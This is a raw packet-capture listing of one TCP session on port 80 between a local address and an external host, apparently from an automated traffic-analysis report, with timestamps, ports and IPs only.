Jan 10, 2025 18:05:36.000282049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.030493021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.030509949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.030523062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.030616999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.055150032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055212975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055223942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055237055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055253029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055265903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055332899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.055367947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055367947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.055422068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055442095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055458069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055475950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.055485964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.055543900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.071373940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071389914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071403980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071418047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071458101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071472883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071486950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071497917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.071501017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071567059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.071567059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071635962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071651936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071696997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071755886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071769953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071778059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.071778059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.071784019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.071850061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.071850061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.071986914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072000027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072024107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072052002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.072089911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072113991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072129011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072143078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072155952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072169065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072185993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072191000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.072191000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.072199106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072290897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.072436094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072451115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072464943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.072534084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.072534084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.080269098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080324888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080338001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080352068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080367088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080382109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080395937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080435038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.080513954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080535889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080555916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.080555916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.080594063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080606937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.080687046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.096363068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096384048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096409082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096421003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096436024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096450090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096465111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096560001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096573114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096587896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096596003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.096596956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.096601009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096672058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096712112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096725941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.096725941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.096821070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096836090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096848011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096848011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.096862078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096899986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.096976995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.096991062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097003937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097079039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097090960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097091913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097091913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097105980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097136021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097292900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097305059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097320080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097333908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097335100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097349882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097364902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097443104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097443104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097443104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097567081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097579002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097661018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097680092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097693920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097707033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097721100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097735882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097749949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097763062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097776890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.097776890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.097776890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.098165989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098187923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098203897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098222971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098233938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.098233938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.098248959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098263979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098278999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098289013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.098293066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098310947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098321915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.098323107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.098340988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.098495007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102029085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102085114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102097988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102109909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102124929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102138996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102166891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102166891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102210045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102225065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102237940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102250099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102355003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102355003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102355003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102374077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102389097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102401972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102427006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102442026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102457047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102471113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102485895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102499008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.102510929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102510929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102510929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.102579117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.105506897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.147573948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147630930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147643089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147655964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147692919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147706032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147717953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147727966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147736073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147752047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147767067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147809029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.147809982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.147861958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147874117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147886992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147896051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.147927999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.147927999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.147963047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.163901091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.163963079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.163978100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.163990021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164004087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164068937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164068937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164093971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164097071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164108038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164120913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164149046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164216042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164227962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164258003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164273977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164288998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164295912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164300919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164309978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164321899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164330006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164340973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164354086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164366961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164380074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164395094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164401054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164412975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164428949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164428949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164433956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164449930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164455891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164482117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164483070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164495945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164496899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164511919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164525032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164536953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164549112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.164551020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.164621115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.172694921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172708035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172720909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172743082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172754049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172811985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172822952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172830105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172841072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172854900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172888041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172900915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.172902107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.172900915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.172959089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.172959089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.173016071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.173037052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.173043013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.173048019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.173054934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.173121929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.178443909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.178596020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.188803911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188821077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188832045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188846111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188859940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188922882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.188925028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188940048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188947916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.188956976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.188967943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189023972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189023972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189352989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189367056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189390898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189405918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189419985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189456940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189460993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189460993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189471006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189485073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189493895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189548969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189570904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189584017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189594984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189678907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189690113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189701080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189717054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189730883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189739943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189739943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189771891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189806938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189817905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189834118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189883947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189883947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189901114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189913988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.189968109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189980984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.189994097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190006971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190047979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190128088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190128088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190140963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190154076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190165997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190181017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190192938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190207958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190224886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190224886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190253019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190259933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190411091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190468073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190480947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190495014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190507889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190521002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190531015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190545082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190562010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190562010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190562010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190578938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190589905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190603018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190614939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190628052 CET	80	49704	193.143.1.205	192.168.2.8
